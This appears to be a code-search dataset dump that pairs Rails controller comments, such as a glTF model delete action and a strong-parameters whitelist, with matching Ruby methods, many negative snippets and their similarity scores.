query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
sequencelengths
0
101
negative_scores
sequencelengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
DELETE /gltf_models/1 DELETE /gltf_models/1.json
def destroy @gltf_model.destroy respond_to do |format| format.html { redirect_to gltf_models_url, notice: 'Gltf model was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @model = Model.find(params[:id])\n @model.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @model = Model.find(params[:id])\n @model.destroy\n\n respond_to do |format|\n format.html { redirect_to administration_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @model = Model.find(params[:id])\n @model.destroy\n\n respond_to do |format|\n format.html { redirect_to models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @model = Model.find(params[:id])\n @model.destroy\n\n respond_to do |format|\n format.html { redirect_to models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @model = Model.find(params[:id])\n @model.destroy\n\n respond_to do |format|\n format.html { redirect_to models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @linear_model.destroy\n respond_to do |format|\n format.html { redirect_to linear_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @auto_model.destroy\n respond_to do |format|\n format.html { redirect_to auto_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @my_model = MyModel.find(params[:id])\n @my_model.destroy\n \n respond_to do |format|\n format.html { redirect_to my_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @oid_model.destroy\n respond_to do |format|\n format.html { redirect_to oid_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @foo_model = FooModel.find(params[:id])\n @foo_model.destroy\n\n respond_to do |format|\n format.html { redirect_to foo_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @model.destroy\n respond_to do |format|\n format.html { redirect_to models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @model = Model.find(params[:id])\n @model.destroy\n\n respond_to do |format|\n format.html { redirect_to model_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fakemodel.destroy\n respond_to do |format|\n format.html { redirect_to fakemodels_url, notice: 'Fakemodel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @onecolumnmodel = Onecolumnmodel.find(params[:id])\n @onecolumnmodel.destroy\n\n respond_to do |format|\n format.html { redirect_to onecolumnmodels_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @feature_model = FeatureModel.find(params[:id])\n @feature_model.destroy\n\n respond_to do |format|\n format.html { redirect_to feature_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @model.destroy\r\n respond_to do |format|\r\n format.html { redirect_to models_url, notice: 'Model was successfully deleted.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @model = Model.find(params[:id])\n @model.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_models_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @vehicle_model.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cargapp_model.destroy\n respond_to do |format|\n format.html { redirect_to cargapp_models_url, notice: 'Cargapp model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_bridge_model(name, headers=default_headers)\n @logger.info(\"Deleting the \\\"#{name}\\\" Bridge Model.\")\n delete(\"#{@api_url}/models/#{encode(name)}\", headers)\n end", "def destroy\n @appraisal_model.destroy\n respond_to do |format|\n format.html { redirect_to appraisal_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @model.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete_model dataset_id, model_id\n execute { service.delete_model @project, dataset_id, model_id }\n end", "def delete(model)\n key.call(\"SREM\", model.id)\n end", "def destroy\n @simple_model = SimpleModel.find(params[:id])\n @simple_model.destroy\n\n respond_to do |format|\n format.html { redirect_to(simple_models_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @model.destroy\n \n respond_to do |format|\n format.html { redirect_to(models_path) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @sivic_model.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_models_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @model = Model.find(params[:id])\n @model.destroy\n\n respond_to do |format|\n format.html { redirect_to models_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @model = Model.find(params[:id])\n @model.destroy\n\n respond_to do |format|\n format.html { redirect_to(models_url) }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n end\n end", "def destroy\n @model = Model.find(params[:id])\n @model.destroy\n\n respond_to do |format|\n format.html { redirect_to(models_url) }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n end\n end", "def destroy\n @lens_model = LensModel.find(params[:id])\n @lens_model.destroy\n\n respond_to do |format|\n format.html { redirect_to(lens_models_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @model.destroy\n respond_to do |format|\n format.html { redirect_to models_url, notice: \"Model was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @trainmodel.destroy\n respond_to do |format|\n format.html { redirect_to trainmodels_url, notice: 'Trainmodel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @test_model = TestModel.find(params[:id])\n @test_model.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_models_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aircraft_model = AircraftModel.find(params[:id])\n @aircraft_model.destroy\n add_to_log(t('Aircraft model destroy log') + @aircraft_model.name,\"aircraft_models\",\"destroy\")\n\n respond_to do |format|\n format.html { redirect_to(aircraft_models_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @battery_model = BatteryModel.find(params[:id])\n @battery_model.destroy\n\n respond_to do |format|\n format.html { redirect_to battery_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @my_model.destroy\n respond_to do |format|\n format.html { redirect_to my_models_url, notice: 'My model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_model request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_model_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def delete_model request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_model_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def destroy\n @project = @model.project\n @model.destroy\n respond_to do |format|\n format.html { redirect_back fallback_location: project_models_url(@project), notice: 'The model was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trial_model.destroy\n respond_to do |format|\n format.html { redirect_to trial_models_url, notice: 'Trial model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @models = self.class.model_class.find(params[:id])\n @models.destroy\n\n respond_to do |format|\n format.html { redirect_to(url_for(:action => index)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @device_model.destroy\n respond_to do |format|\n format.html { redirect_to device_models_url, notice: 'Device model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @hello_model.destroy\n respond_to do |format|\n format.html { redirect_to hello_models_url, notice: 'Hello model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @go_slim = GoSlim.find(params[:id])\n @go_slim.destroy\n\n respond_to do |format|\n format.html { redirect_to go_slims_url }\n format.json { head :no_content }\n end\n end", "def delete\n ensure_service!\n service.delete_model dataset_id, model_id\n # Set flag for #exists?\n @exists = false\n true\n end", "def destroy\n @gpath = Gpath.find(params[:id])\n @gpath.destroy\n\n respond_to do |format|\n format.html { redirect_to gpaths_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @model = Model.find(params[:id])\n @user = @model.user\n @model.destroy\n\n respond_to do |format|\n format.html { redirect_to user_models_path(@user) }\n format.json { head :no_content }\n end\n end", "def destroy\n @operation = Operation.find(params[:id])\n @model = Model.find(params[:model_id])\n @operation.destroy\n\n respond_to do |format|\n format.html { redirect_to user_model_path(@model.user, @model) }\n format.json { head :no_content }\n end\n end", "def destroy\n @<%= model_name %> = <%= upcase_model_name %>.find(params[:id])\n @<%= model_name %>.destroy\n\n respond_to do |format|\n format.json { render :json=>true }\n end", "def destroy\n @modeltype.destroy\n respond_to do |format|\n format.html { redirect_to modeltypes_url, notice: 'Modeltype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(model)\n redis.srem(key, model.id)\n end", "def destroy\n @vehicle_submodel.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_submodels_url, notice: 'Vehicle submodel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy; delete end", "def delete_resource(type, id, data = {})\n model = fetch_generic_object_definition(type, id, data)\n delete_resource_main_action(type, model, data)\n model\n rescue => err\n raise BadRequestError, \"Deleting #{model_ident(model, type)} - #{err}\"\n end", "def destroy\n @modelo = Modelo.find(params[:id])\n @modelo.destroy\n\n respond_to do |format|\n format.html { redirect_to modelos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @model_name.destroy\n respond_to do |format|\n format.html { redirect_to model_names_url, notice: 'Model name was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gethotelstaticdatagd = Gethotelstaticdatagd.find(params[:id])\n @gethotelstaticdatagd.destroy\n\n respond_to do |format|\n format.html { redirect_to gethotelstaticdatagds_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @part_three_predict = PartThreePredict.find(params[:id])\n @part_three_predict.destroy\n\n respond_to do |format|\n format.html { redirect_to part_three_predicts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @network_model = NetworkModel.find(params[:id])\n @network_model.destroy\n\n respond_to do |format|\n format.html { redirect_to(network_models_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n \n @ontology = SYMPH::Ontology.find(params[:id])\n @ontology.disable\n @ontology.destroy\n \n respond_to do |format|\n format.html { redirect_to :action => :index }\n format.xml { head :ok }\n end\n end", "def destroy\n @cab_model.destroy\n respond_to do |format|\n format.html { redirect_to cab_models_url, notice: 'Cab model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @core_uf = Core::Uf.find(params[:id])\n @core_uf.destroy\n\n respond_to do |format|\n format.html { redirect_to core_ufs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @classification = Classification.find(params[:id])\n @classification.destroy\n\n respond_to do |format|\n format.html { redirect_to classifications_url, notice: t('controller.successfully_deleted', model: t('activerecord.models.classification')) }\n format.json { head :no_content }\n end\n end", "def destroy\n @model_type.destroy\n respond_to do |format|\n format.html { redirect_to model_types_url, notice: 'Model type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @massive_load = MassiveLoad.find(params[:id])\n @massive_load.destroy\n\n respond_to do |format|\n format.html { redirect_to massive_loads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @gl.destroy\n respond_to do |format|\n format.html { redirect_to gls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @revenue_model = RevenueModel.find(params[:id])\n @revenue_model.destroy\n\n respond_to do |format|\n format.html { redirect_to revenue_models_url }\n format.json { head :no_content }\n end\n end", "def delete\n return WscSdk::Errors.model_does_not_exist(self.endpoint) if new_model?\n result = endpoint.delete(self)\n if result.success?\n clean!\n clear_primary_key\n @partial_data = false\n end\n return result\n end", "def destroy\n @lob.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @train_locomotive.destroy\n respond_to do |format|\n format.html { redirect_to train_locomotives_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @gl = Gl.find(params[:id])\n @gl.destroy\n\n respond_to do |format|\n format.html { redirect_to gls_url }\n format.json { head :no_content }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @gig_request = GigRequest.find(params[:id])\n @gig_request.destroy\n\n respond_to do |format|\n format.html { redirect_to gig_requests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @treq = Treq.find(params[:id])\n @treq.destroy\n\n respond_to do |format|\n format.html { redirect_to treqs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize! :destroy, @model\n @model.destroy\n respond_to do |format|\n format.html { redirect_to models_url, notice: 'Model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @system_model.destroy\n respond_to do |format|\n format.html { redirect_to system_models_url, notice: 'SystemModel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @apple_model.destroy\n respond_to do |format|\n format.html { redirect_to apple_models_url, notice: 'Apple model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @<%= singular_table_name %> = <%= orm_class.find(class_name, \"params[:id]\") %>\n @<%= orm_instance.destroy %>\n\n respond_to do |format|\n format.html { redirect_to <%= index_helper %>_url }\n format.json { head :ok }\n end", "def destroy # for DELETE request\n @tasklabel = TaskLabel.find(params[:id])\n @tasklabel.destroy\n render json: {status: 'SUCCESS', message:'Deleted TaskLabel relationship', \n data: @tasklabel},status: :ok\n end", "def destroy\n @revenue_model.destroy\n respond_to do |format|\n format.html { redirect_to revenue_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tengine_batch = Tengine::Batch.find(params[:id])\n @tengine_batch.destroy\n\n respond_to do |format|\n format.html { redirect_to tengine_batches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @obj = Obj.find(params[:id])\n @obj.destroy\n\n respond_to do |format|\n format.html { redirect_to objs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @model_list.destroy\n respond_to do |format|\n format.html { redirect_to model_lists_url, notice: 'Model list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gene_ontology = GeneOntology.find(params[:id])\n @gene_ontology.destroy\n\n respond_to do |format|\n format.html { redirect_to(gene_ontologies_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @specific_gravity.destroy\n respond_to do |format|\n format.html { redirect_to @batch, notice: 'Specific gravity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @amp_model.destroy\n respond_to do |format|\n format.html { redirect_to(admin_amp_models_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted amp model: #{@amp_model.name}\")\n end", "def destroy\n @api_version = ApiVersion.find(params[:id])\n @api_version.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_api_versions_url, flash: {success: t('app.msgs.success_deleted', :obj => t('mongoid.models.api_version.one'))} }\n format.json { head :no_content }\n end\n end", "def delete\n \n end", "def destroy\n @bla = Bla.find(params[:id])\n @bla.destroy\n\n respond_to do |format|\n format.html { redirect_to blas_url }\n format.json { head :no_content }\n end\n end", "def delete\n uniques = {}\n model.uniques.each do |field|\n next unless (value = send(field))\n uniques[field] = value.to_s\n end\n\n script(LUA_DELETE, 0,\n { \"name\" => model.name,\n \"id\" => id,\n \"key\" => key.to_s\n }.to_json,\n uniques.to_json,\n model.tracked.to_json\n )\n\n return self\n end", "def delete(model)\n\n # LREM key 0 <id> means remove all elements matching <id>\n # @see http://redis.io/commands/lrem\n key.call(\"LREM\", 0, model.id)\n end", "def delete\n Model.test_for_invalid_status(:delete, @model_status)\n clear_alerts; run_validation(:delete)\n\n unless @model_status == :error\n interface.delete(@model_id) \n @model_status = :deleted\n end\n self\n rescue Pod4::WeakError\n add_alert(:error, $!)\n self\n end", "def destroy\n @movie_model.destroy\n respond_to do |format|\n format.html { redirect_to movie_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end" ]
[ "0.703142", "0.70152724", "0.7012977", "0.7012977", "0.7012977", "0.69774354", "0.695762", "0.6933614", "0.69286406", "0.69202924", "0.68830276", "0.68643343", "0.6862609", "0.684401", "0.6813616", "0.67322826", "0.6717871", "0.6689857", "0.6684332", "0.6680368", "0.66801465", "0.6676436", "0.66526514", "0.6649006", "0.6623824", "0.6608632", "0.66066766", "0.6604607", "0.65967435", "0.65967435", "0.659119", "0.6573005", "0.6546335", "0.6541073", "0.6522322", "0.6510976", "0.6507187", "0.6501944", "0.6501944", "0.6487047", "0.6482232", "0.6482073", "0.6463549", "0.6439628", "0.6437611", "0.6432394", "0.6423843", "0.64228654", "0.63992995", "0.638986", "0.63737935", "0.6352202", "0.6345029", "0.634097", "0.6337152", "0.63296694", "0.6322803", "0.63203114", "0.6312569", "0.6311321", "0.6306547", "0.630066", "0.6292616", "0.629037", "0.62881505", "0.6286834", "0.62849975", "0.6279428", "0.6273934", "0.6267106", "0.62655723", "0.62562805", "0.6253587", "0.62525123", "0.62525123", "0.62525123", "0.62525123", "0.623759", "0.6232709", "0.6231793", "0.62309766", "0.6229789", "0.6214512", "0.6214226", "0.6204155", "0.62034893", "0.62012476", "0.62001497", "0.61976886", "0.6196235", "0.61896104", "0.61842346", "0.61811", "0.61786026", "0.6175021", "0.6174806", "0.61733896", "0.6172977", "0.61725986", "0.61724454" ]
0.7454775
0
Use callbacks to share common setup or constraints between actions.
def set_gltf_model if params[:id] != 'scene' @gltf_model = GltfModel.find(params[:id]) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def setup_handler\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def setup\n #implement in subclass;\n end", "def after_set_callback; end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def setup(&blk)\n @setup_block = blk\n end", "def default_action; end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def call\n setup_context\n super\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end" ]
[ "0.6165094", "0.60450804", "0.5944413", "0.5915806", "0.58885634", "0.5835225", "0.5775847", "0.5700531", "0.5700531", "0.56543404", "0.56209993", "0.54238355", "0.5410386", "0.5410386", "0.5410386", "0.5394892", "0.5377769", "0.53559244", "0.5339896", "0.53388095", "0.5330087", "0.5311993", "0.5297402", "0.5296789", "0.52957207", "0.52596015", "0.5245442", "0.5237084", "0.5237084", "0.5237084", "0.5237084", "0.5237084", "0.5235431", "0.5231888", "0.5226663", "0.52220625", "0.5217086", "0.52137345", "0.5208314", "0.5205469", "0.5175606", "0.5174914", "0.5173361", "0.51662856", "0.5161792", "0.51572216", "0.5153063", "0.5152982", "0.5152632", "0.51435786", "0.5139829", "0.51346594", "0.511372", "0.511372", "0.51136476", "0.51083213", "0.5108011", "0.5091935", "0.5089297", "0.5081576", "0.50807106", "0.50656676", "0.50548106", "0.50537366", "0.505074", "0.505074", "0.5033361", "0.5025158", "0.5020441", "0.5015611", "0.50142473", "0.5000281", "0.50001067", "0.49989453", "0.4989465", "0.4989465", "0.4985425", "0.49805096", "0.49795893", "0.49783278", "0.49676263", "0.49656346", "0.49579078", "0.4955427", "0.49554235", "0.49536413", "0.49523768", "0.49457142", "0.49433607", "0.4933641", "0.49320185", "0.49265638", "0.49262375", "0.49259067", "0.4922456", "0.49201223", "0.49165115", "0.49158815", "0.49151883", "0.49149552", "0.4914386" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def gltf_model_params params.require(:gltf_model).permit(:global_path, :bin_global_path, :textures_directory_global_path) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
